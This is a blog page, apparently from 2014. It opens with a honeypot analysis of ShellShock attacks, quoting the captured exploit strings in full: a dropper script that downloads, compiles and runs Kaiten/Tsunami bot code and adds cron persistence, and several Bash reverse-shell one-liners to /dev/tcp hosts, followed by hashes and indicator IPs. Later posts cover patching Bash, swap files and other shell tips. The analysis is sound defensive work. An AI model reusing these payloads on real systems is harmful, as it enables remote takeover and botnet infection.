ShellShock – Hello Honeypot

ShellShock & Linux.Backdoor.Kaiten
Ok, today, I got an alert from one of my honeypots and I was overwhelmed to see, that, it was a ShellShock call 🙂

This post is going to be very rudimentary, as I want to first get the information out to as many as I can.

Here is what my log alert that my honeypot picked up:

28-09-2014 09:43:55,121.9.244.212,() { :;}; /bin/bash -c “wget http[:]//stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http[:]//stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”,

Update: I got 2 more alerts from my honeypot

29-09-2014 07:43:08,
,67.227.0.73,() { :;}; /bin/bash -c “wget -P /var/tmp 174.143.240.43/…/x ; perl /var/tmp/x”,

29-09-2014 09:30:11,54.251.83.67,() { :;}; /bin/bash -c “echo testing9123123”; /bin/uname -a

So being curious, I looked up first to find out who is 121.9.244.212 and it results to “CHINANET-GD”

Next, comes the big main thing:

() { :;}; /bin/bash -c “wget http[:]//stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http[:]//stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh

The command represents where the remote attacker is trying to (or)  inject malicious code; arbitrary code following a function definition to download a file to the /tmp directory with a file called ‘sh’.

Whats in the file?

$ cat regular.bot

killall perl

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;

curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;

gcc -o /tmp/a /tmp/a.c;

/tmp/a;

rm -rf /tmp/a.c;

wget http://stablehost.us/bots/a -O /tmp/a;

curl -o /tmp/a http://stablehost.us/bots/a;

chmod +x /tmp/a;

/tmp/a;

wget http://stablehost.us/bots/darwin -O /tmp/d;

curl -o /tmp/d http://stablehost.us/bots/darwin;

chmod +x /tmp/d;

/tmp/d;

wget http://stablehost.us/bots/pl -O /tmp/pl;

curl -o /tmp/pl http://stablehost.us/bots/pl;

perl /tmp/pl;

rm /tmp/pl;

echo “@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh” >/tmp/c;

crontab /tmp/c;

rm /tmp/c;

So, now once downloaded, its going to be doing a series of tasks.

Download a  “.C” file and compile it using “gcc”.
sandbox-mac:dump user$ md5 kaiten.c
MD5 (kaiten.c) = e5807250e25da45e287afb2f1e4580d6

Download 2 binary files:
“a”   MD5 (a) = 7390a1e62a88eb80b5fae80c9eb00be7 – Backdoor.Linuz/Tsunami
“darwin”  MD5 (d) = adacf1fa8cd7f77ae83ba38a99160bdb – Backdoor:OSX/Tsunami.A

Makes it executable and executes them.

Next it brings down a Perl file (pl) and executes the perl file
sandbox-mac:dump user$ md5 pl
MD5 (pl) = 0c25bee177101b4235022d694c0de4d3

The perl file, basically checks for other vulnerabilities, does port scanning, check news from packet storm, Install Socks5, does nmap, sql scanner, checks if the box is root-able, open up IRC channels, does TCP/UDP/Http Floods based on commands received from Master,  do Scanning activity to domains like, MSN,  AlltheWeb, Ask, AOL, Lycos, Yahoo, etc.

The commands to send are:

IRC Names:

And then do a weekly refresh of the bot activity or updates using crontab.

Whois stablehost.us

Stablehost.us is registered to a gentleman in the US since Mar-16-2010.  It runs Apache on Ubuntu

$ curl -I stablehost.us

HTTP/1.1 200 OK

Date: Sun, 28 Sep 2014 07:33:15 GMT

Server: Apache/2.4.7 (Ubuntu)

Last-Modified: Sat, 27 Sep 2014 19:57:07 GMT

ETag: “0-50411703b49e2”

Accept-Ranges: bytes

Content-Type: text/html

At the time of writing this article, the website is empty, probably with a blank index page (200 OK). The directory that serves the bots is also probably having a blank index page.

$ curl -I http://stablehost.us/bots/

HTTP/1.1 200 OK

Date: Sun, 28 Sep 2014 07:38:23 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.4

Content-Type: text/html

According to way-back machine, there are/were only 3 edits/snapshots in the entirety of the domain life.

Wayback Machine Results

2 Blank page updates on March 1, 2011 & Aug 27, 2011 and 1 Apache test page on Jan 10, 2014.

Here is where it gets more interesting. I can confirm that this domain was purely used for bot activity.

According to the way back machine March 1, 2011 we can see the bot directory in there with the perl file and the regular.bot file

Wayback Machine Bot directory Results

After a new bot addition

In Conclusion:

We have 1 more pattern:

121.9.244.212 – CHINANET
ShellShock Command: () { :;}; /bin/bash -c “wget http[:]//stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http[:]//stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”

In addition to these:

67.229.128.88 – Krypt Technologies (US)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/67.229.128.88/9527 0<&1 2>&1

153.121.58.243 – Sakura Internet (Japan)
Shellshock Comand: () { :; }; /bin/bash -i >& /dev/tcp/153.121.58.243/443 0>&1

82.99.57.32 – Datasmeden (Sweden)
Shellshock Commands:
() { :;}; /bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443″
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1″

114.96.140.114 – Chinanet Anhui Province Network (China)
Shellshock Command: () { :; }; /usr/bin/bash -i >& /dev/tcp/114.96.140.114/6032 0>&1

113.10.223.171 – NWT iDC Data Service (Hong Kong)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/113.10.223.171/8080 0<&1 2>&1

Some Indicators that we can look for in our web/proxy logs:

IP addresses:

  • 121.9.244.212 (ISP)
  • 89.33.193.10 (PERL BOT)
  • 142.4.215.115 ( { :;}; /bin/bash -c “cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji”)
  • 67.227.0.73
  • 174.143.240.43
  • 54.64.179.8
  • 54.251.83.67
  • 142.0.41.57
  • 153.121.58.243
  • 67.229.128.88
  • 67.227.0.74
  • 82.99.57.32
  • 114.96.140.114
  • 113.10.223.171
  • 104.192.103.6
  • 72.167.37.182
  • 204.232.241.139
  • 46.161.41.142
  • 75.127.84.182
  • 37.187.225.119
  • 195.225.34.101
  • 202.137.176.146
  • 81.18.135.38
  • 94.102.52.10
  • 82.118.242.223
  • 142.4.215.115
  • 201.205.255.56
  • 83.96.168.161
  • 199.27.89.22
  • 5.135.127.38
  • 103.28.36.123
  • 82.80.195.86
  • 89.207.135.125
  • 194.54.9.11
  • 173.45.100.18
  • 192.227.213.66
  • 70.42.149.72

Web Requests: (some of the hardcoded urls in the perl file)

  • http://stablehost.us
  • http://singlesaints.com
  • http://search.hotbot.de/cgi-bin/pursuit?pag=<some_val>&query=”
  • http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://www.mozbot.fr/search?q=
  • http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=
  • http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://busca.uol.com.br/www/index.html?q=
  • http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=

Hope this helps.

Update (29/Sep/2014): Stablehost.us is down!

$ curl -I stablehost.us

curl: (6) Could not resolve host: stablehost.us

ShellShock – Test the vulnerability

On September 24, 2014, a GNU Bash vulnerability, referred to as Shellshock, was disclosed. The vulnerability allows remote attackers to execute arbitrary code given certain conditions, by passing strings of code following environment variable assignments. Because of Bash’s ubiquitous status amongst Linux, BSD, and Mac OS X distributions, many computers are vulnerable to Shellshock.

All unpatched Bash versions between 1.14 through 4.3 (i.e. all releases until now) are at risk.

The Shellshock vulnerability can be exploited on systems that are running Services or applications that allow unauthorized remote users to assign Bash environment variables. Examples of exploitable systems include the following:

  • Apache HTTP Servers that use CGI scripts (via mod_cgi and mod_cgid) that are written in Bash or launch to Bash subshells
  • Certain DHCP clients
  • OpenSSH servers that use the ForceCommand capability
  • Various network-exposed services that use Bash

A detailed description of the bug can be found at CVE-2014-6271 and CVE-2014-7169

Because the Shellshock vulnerability is very widespread–even more so than the OpenSSL Heartbleed bug–and particularly easy to exploit, it is highly recommended that affected systems are properly updated to fix or mitigate the vulnerability as soon as possible. We will show you how to test if your machines are vulnerable and, if they are, how to update Bash to remove the vulnerability.

Check System Vulnerability

On each of your systems that run Bash, you may check for Shellshock vulnerability by running the following command at the bash prompt:

# env VAR='() { :;}; echo Bash is vulnerable!’ bash -c “echo Bash Test”

The echo Bash is vulnerable! portion of the command represents where a remote attacker could inject malicious code; arbitrary code following a function definition within an environment variable assignment. Therefore, if you see the following output, your version of Bash is vulnerable and should be updated:

# env VAR='() { :;}; echo Bash is vulnerable!’ bash -c “echo Bash Test”

Bash is vulnerable!

Bash Test

Otherwise, if your output does not include the simulated attacker’s payload, i.e. “Bash is vulnerable” is not printed as output, your version of bash is not vulnerable. It may look something like this:

# env VAR='() { :;}; echo Bash is vulnerable!’ bash -c “echo Bash Test”

bash: warning: VAR: ignoring function definition attempt

bash: error importing function definition for `VAR’

Bash Test

Fix Vulnerability: Update Bash

The quick way to fix this vulnerability is to use your package manager to update the version of Bash.

Ubuntu / Debian

For Ubuntu or Debian based systems:

$ sudo apt-get update && sudo apt-get install –only-upgrade bash

CentOS / Red Hat / Fedora

For CentOS or Red Hat or Fedora flavors:

$ sudo yum update bash

Mac OSx

For Mac OSx:

Do you have brew installed? If yes, follow below:

$ brew update

$ brew install bash

  • Add /usr/local/bin/bash to /etc/shells
  • Change the default shell with chsh -s /usr/local/bin/bash

Incase you would want to download and compile and do it the manual way, you can refer this documentation.

Now re-run the test shown above and see the results you achieve. Also be sure to update all your affected servers to the latest version of Bash!

Creating Swap space using fallocate

Swap is an area on a hard drive that has been designated as a place where the operating system can temporarily store data that it can no longer hold in RAM.

We already dealt this in the previous post on creating a swap space and tweaking the swappiness setting. However, in the previous post we performed the operation of creating the swap file using the old traditional method.

$ sudo dd if=/dev/zero of=/swapfile bs=1G count=4

4+0 records in

4+0 records out

4294967296 bytes (4.3 GB) copied, 18.6227 s, 231 MB/s

$ ls -lh /swapfile

-rw-r–r– 1 root root 4.0G Feb 28 17:15 /swapfile

The command above, you may notice that it took quite a while. In fact, you can see in the output that it took my system ~18 seconds to create the swap file. That is because it has to write 4 Gigabytes of zeros to the disk.

There is a faster method to do this: fallocate

This command creates a file of a preallocated size instantly, without actually having to write dummy contents. We can achieve the same swap file by:

$ sudo fallocate -l 4G /swapfile

$ ls -lh /swapfile

-rw-r–r– 1 root root 4.0G Feb 28 17:19 /swapfile

As you can now see, our file is created with the correct amount of space set aside and almost instantly. Now you can go ahead to create your swap file. If you need instructions on how to do it, follow my previous post.

Note: Although swap is generally recommended for systems utilizing traditional spinning hard drives, using swap with SSDs can cause issues with hardware degradation over time. Be thoughtful before enabling Swap for SSD drives.

Comparing 2 (two) folders using Terminal

$ diff -rq folder1 folder2
Only in /Users/user/folder1/: file13.md
Only in /Users/user/folder1/: AAA.pdf
Only in /Users/user/folder2/: new mail.eml
Only in /Users/user/folder1/: P.docx
Only in /Users/user/folder2/: COMPANY.doc
Only in /Users/user/folder1/: icons.png
Only in /Users/user/folder1/: New Document.pdf

If you want to compare two different directories, to see which files may differ between the two, or, which files are missing from either one of them; there are many ways or tools that can do this job. However, we will do this using a simple command line version that will do the trick quick and easy.

Not always or everytime or everyday we will be doing such kind of comparing; but if this is your job, go pick/buy a tool.
For once a while operation, we can just do a dirty trick and get done with it.

What is it?

Launch the Terminal (Mac: From spotlight, type terminal and hit enter)

$ diff -rq /path/to/folder1 /path/to/folder2

This will compare between the 2 folders and give you results of which files differ from each other, or which files are there only in either of the folder.

The Switches:
-r -> Does a recursive search. If you do not want it to do recursive search, simply ignore the -r switch.
-q -> brief mode. When you tell diff to use the -q switch, diff will not give you a detailed output such as actual line-by-line differences for any text files that exist in both locations and that are not identical. Since we are more interested to know only what is there and not there between the folders, the -q switch is optimum.

One liner to rename files extensions

Ubuntu / Debian

# rename “s/txt/text/” *.txt

The above command will rename all files with extension “txt” to new extension “text” in all files matching “*.txt”

Mac OSx

With OSx and Homebrew installed, you can install the rename command using the following:

$ brew install rename
==> Downloading https://homebrew.bintray.com/bottles/rename-1.600.el_capitan.bottle.tar.gz
……………………………………………………………… 100.0%
==> Pouring rename-1.600.el_capitan.bottle.tar.gz
? /usr/local/Cellar/rename/1.600: 3 files, 40.9K

Then issue the following command, to rename all files with extension “txt” to new extension “text” in all files matching “*.txt”

$ rename “s/txt/text/” *.txt

Swappiness and the Linux Swap

Mostly, if you are on VPS and will want to have a swap file, since there is no partition, its easy to create a swap file and set it for use as a swap space. A swap can occur and a page of memory is copied from the RAM to preconfigured space on the hard disk. However, don’t make the habit of creating a lot of swap files & thrashing your poor VPS.

First Check for Swap Space

# swapon -s

If you got an empty list, then you don’t have a swap space configured.

Let us Create & enable the Swap File

Before we create a swap file, let us understand how much of disk space you have to execute this task successfully.

# df -H

Filesystem      Size  Used Avail Use% Mounted on

udev            1.1G     0  1.1G   0% /dev

tmpfs           210M   26M  185M  13% /run

/dev/vda1        48G   11G   35G  23% /

tmpfs           1.1G     0  1.1G   0% /dev/shm

tmpfs           5.3M     0  5.3M   0% /run/lock

tmpfs           1.1G     0  1.1G   0% /sys/fs/cgroup

/dev/loop0      3.4G  3.4G     0 100% /mnt/win7

In this we see enough space in the rootfs, so lets create a swapfile there. We will create a swap file of 2GB.

# dd if=/dev/zero of=/swapfile bs=1024 count=2097152
2097152+0 records in
2097152+0 records out
2147483648 bytes (2.1 GB) copied, 9.34127 s, 230 MB/s

To know how we calculated for 2GB, it is 2048 (2GB) * 1024, essentially bs * space required in mb will give the value of “count”. You should see the above output.
Next we are going to prepare the swap file by creating a linux swap area and there by activating it:

# mkswap /swapfile
Setting up swapspace version 1, size = 2097148 KiB no label, UUID=c1ca5702-0c79-48f0-b60a-344587b1959c
# swapon /swapfile

The swapon command tells the kernel to start using it as swap space.

Now you should be able to see the new swap file when you view the swap summary.

# swapon -s
Filename Type Size Used Priority
/swapfile file 2097148 0 -1

To make sure that the swap is permanent we need to include this in the fstab file. To do this; edit the /etc/fstab with your favourite editor

# nano /etc/fstab

and include the below line:

Save the file, and you are done getting a swap setup in your VPS. Before we complete, lets do the finishing by changing permissions of the /swapfile by doing the below:

# chown root:root /swapfile
# chmod 0600 /swapfile

and set the swappiness.

# echo ‘vm.swappiness=30’ >> /etc/sysctl.conf

Since kernel 2.6.28, Linux uses a Split Least Recently Used (LRU) page replacement strategy. Pages with a filesystem source, such as program text or shared libraries belong to the file cache. Pages without filesystem backing are called anonymous pages, and consist of runtime data such as the stack space reserved for applications etc. Typically pages belonging to the file cache are cheaper to evict from memory (as these can simple be read back from disk when needed). Since anonymous pages have no filesystem backing, they must remain in memory as long as they are needed by a program unless there is swap space to store them to.

Given a vm.swappiness of 100, the priorities would be equal (file_prio=200-100=100anon_prio=100). This would make sense for an I/O heavy system if it is not wanted that pages from the file cache being evicted in favour of anonymous pages.

Conversely setting the vm.swappiness to 0 will prevent the kernel from evicting anonymous pages in favour of pages from the file cache. This might be useful if programs do most of their caching themselves, which might be the case with some databases. In desktop systems this might improve interactivity, but the downside is that I/O performance will likely take a hit.